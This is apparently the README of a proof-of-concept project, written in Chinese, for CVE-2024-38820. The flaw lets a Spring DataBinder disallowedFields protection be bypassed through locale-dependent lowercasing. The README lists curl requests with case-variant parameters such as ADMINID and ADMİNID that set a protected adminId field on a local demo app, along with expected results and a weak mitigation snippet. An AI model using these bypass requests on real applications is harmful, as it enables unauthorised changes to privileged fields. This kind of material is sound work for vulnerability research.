本项目演示了 CVE-2024-38820,这是 Spring Framework DataBinder 中的一个漏洞,由于与区域设置相关的字符大小写转换问题,允许绕过 disallowedFields 保护。
String.toLowerCase() 的行为因区域设置而异修复 CVE-2022-22968 时,通过使用 String.toLowerCase() 使 disallowedFields 模式不区分大小写。但是,此方法存在与区域设置相关的例外:
"ADMINID".toLowerCase() 会变成 "adminıd"(包含不带点的 ı)"ADMINID".toLowerCase() 会变成 "adminid"这种差异可能允许攻击者通过使用特定的大小写变体来绕过字段保护。
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
应用程序将启动于 http://localhost:8081
访问测试端点以查看区域设置信息:
http://localhost:8081/test
尝试不同的字段名变体:
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
运行综合测试脚本:
./test-cve-2024-38820.sh
adminId=999 → 已阻止(正常大小写)ADMINID=999 → 已绕过(大写)AdminId=999 → 已绕过(混合大小写)ADMİNID=999 → 已绕过(土耳其语 İ)adminId=999 → 已阻止(正常大小写)ADMINID=999 → 已阻止(受保护)AdminId=999 → 已阻止(受保护)编辑 src/main/resources/application.properties:
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
您还可以设置 JVM 默认区域设置:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder 配置 disallowedFields("adminId")toLowerCase() 进行不区分大小写的匹配"ADMINID".toLowerCase() ≠ "adminid"adminId 被设置应用程序会记录详细信息:
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
使用区域设置感知的字段匹配:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
实现不依赖区域设置相关操作的自定义字段验证。
本概念验证仅供教育和安全研究目的使用。请负责任地使用,并且仅在你拥有或获得明确测试许可的系统上使用。